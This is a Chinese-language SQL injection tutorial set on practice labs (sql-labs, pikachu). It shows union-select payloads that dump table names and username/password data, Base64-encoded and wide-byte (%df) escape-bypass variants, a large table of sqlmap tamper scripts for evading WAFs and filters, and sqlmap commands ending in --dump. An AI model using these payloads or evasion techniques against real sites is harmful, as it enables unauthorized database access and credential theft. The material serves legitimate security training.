目录
一,常见SQL注入类型
1.数字型
2.字符型
3.搜索型
4.编码型:数据以编码值传递
5.格式型:JSON
6.字符转义处理防护-宽字节注入
二,Tamper脚本的使用
Tamper作用:
脚本使用格式
常用tamper脚本
案例演示
判断方法:
?id=1 and 1=1
?id=1 and 1=2
1=1时条件成立返回id=1的数据,1=2时条件不成立返回空 ,由此判断为数字注入。如果为字符型,由于存在引号的闭合,两种情况都不符号,应该都是返回空
例如sql-labs靶场的第二关就是数字型注入
1=1是返回正常
1=2时返回空
判断方法:
?1' and '1'='1
?1' and '1'='2
例如sql-labs靶场的第一关就是字符型注入
'1'='1时条件成立返回正常,'1'='2 时条件不成立返回空,由此判断为字符型注入。如果时数字型,由于参数没有引号两种情况会直接报错
开发程序里面,数字不需要单引号,字符需要单引号,双引号去概括的,在注入的时候,需要考虑到符号的闭合,才能正确去执行SQL,完成注入
'1'='1时返回正常
判断方法不唯一,具体情况具体说,明白是怎么一回事就行了
搜所型会在引号的基础上加上通配符,例如'%s%'
pkachu漏洞练习平台搜索型注入:
输入1',报错提示语法错误'%''
输入1%' #不报错
测列数:
1%' order by 3 //不报错
1%' order by 4 //报错
测回显:
1%' union select 1,2,3 #
如果注入的时候发现--+/#不能构成闭合导致报错,可以用'%%'='%
1%' union select 1,2,3 '%%'='%
数据进行编码接收处理:发送编码值,对方常会进行编码后带入数据在进行SQL执行,在注入的时候,我们也要尝试对注入的Payload进行编码后提交
sql-labs靶场第21关:基于cookie值的Base64编码注入
首先输入账号密码,用BurpSuite抓个包,将抓到的包Forward发送到服务器获取cookie值
输入admin' Base64编码:YWRtaW4n
发送后发现报错了,通过报错信息可以发现,注入形式应该是单引号加括号
尝试闭合输入admin') # Base64编码 :YWRtaW4nKSAj
测列数:') order by 3 # Base编码:Jykgb3JkZXIgYnkgMyAj
输入:') order by 4 # Base64编码:Jykgb3JkZXIgYnkgNCAj
测回显,输入') union select 1,2,3 #
Base64编码: JykgdW5pb24gc2VsZWN0IDEsMiwzICM=
接下来就是查表,查字段,查数据了
查表:
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIw==
查字段:
') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyM=
查数据;
') union select 1,2,group_concat(username,0x3a,password) from users# JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM=
什么是JSON其实就是数据的一种表现形式,数据以键值的形式存在
常规数据写法:username=admin (注入点)&password=123456
JSON写法:{"username":"admin (注入点)","password":"123456"}
传参过程中会对JSON格式进行解析,获取对应的键值,双引号不会获取,只会获取里面的值,一般值传入到sql语句都是字符型,所以一般为字符注入,例如:json={"username":"admin' order by 3 #"}
下面是部分源码解析,能够帮助理解
$json_str = $_POST['json']; //获取json格式的请求参数
$json = json_decode($json_str); //解析json格式数据
$username = $json->username;//获取键值
$sql = "select * from users where username='{$username}'"; //将键值传入到sql语句中
何为转义处理,例如服务端可能或接受到一些特殊符号的字符串(\ /符号),我们知道,\n通常表示换行,如果想让传入的\n不会被认为是换行,那么就要对其转义,比如将\n转义成\\n。
同理,也可以通过转义一些特殊符号来进行防护,可以通过将引号',--+,#这些特殊符号进行转义处理,这样就会导致常规的注入语句失效,从而达到防护的目的。
如果在实战中我们遇到了这样的问题应该如何解决,这里我们可以采用宽字节绕过,就是借助一些繁体字符或者乱码字符来占用字节位数,从而尝试绕过,例如,如果对单引号'进行了转义,我们可以通过在单引号前面加上%df来占用转义符号,没有了转义字符传入的数据就是正常的了。
数字型,字符型,搜索型sqlmap可以直接判断出,但是编码或者加密sqlmap不能直接判断,需要借助脚本进行加解密才能判断有注入点。扫描,利用工具等都不会自动判断数据类型,格式等,所以即使有漏洞也测不出来,具体还是需要人工去观察,进行工具的修改或加载插件再次探针才可以
在注入的过程中,会遇到一些复杂的注入(waf绕过,过滤,编码等),tamper脚本可以尝试绕过
python sqlmap -u "注入地址" --tamper=脚本A.py,脚本B.py
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
all | 1 | apostrophemask.py | 用utf8代替引号 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
2 | base64encode.py | 用base64编码替换 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' |
|
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' |
|
4 | space2plus.py | 用+替换空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' |
|
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters |
('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' |
|
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 |
('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' |
|
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' |
|
8 | securesphere.py | 追加特制的字符串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" |
|
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
|
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers |
|
4 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
|
5 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' |
|
8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
|
10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
|
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ |
('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' |
|
5 | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
|
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' |
|
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users |
|
8 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ('1 AND 2>1--') '1 /*!00000AND 2>1*/--' |
|
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' |
|
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like |
('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' |
|
12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
|
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# |
|
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# |
|
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 |
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
|
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
|
6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
|
7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | ('1 AND 1=1') '1 AND 1=1%00' |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
|
unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 |
||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
这里还是拿sql-labs靶场的21关来演示
首先抓取对应的请求包,将其内容复制张贴在记事本中,命名为1.txt,将1.txt文件放于sqlmap安装目录下
常规注入:python sqlmap.py -r 1.txt
发现注入失败,因为这里是Base64编码注入,需要对注入语句进行编码
采用tamper脚本base64encode.py 对注入语句进行编码:python sqlmap.py -r 1.txt --tamper=base64encode.py
读取数据库版本,当前用户,当前数据库 python sqlmap.py -r 1.txt --tamper=base64encode.py -f -b --current-user --current-db
获取当前数据库表信息python sqlmap.py -r 1.txt --tamper=base64encode.py -D security --tables
获取列python sqlmap.py -r 1.txt --tamper=base64encode.py -D security -T users --columns
获取数据python sqlmap.py -r 1.txt --tamper=base64encode.py -D security -T users -C "id,username,password" --dump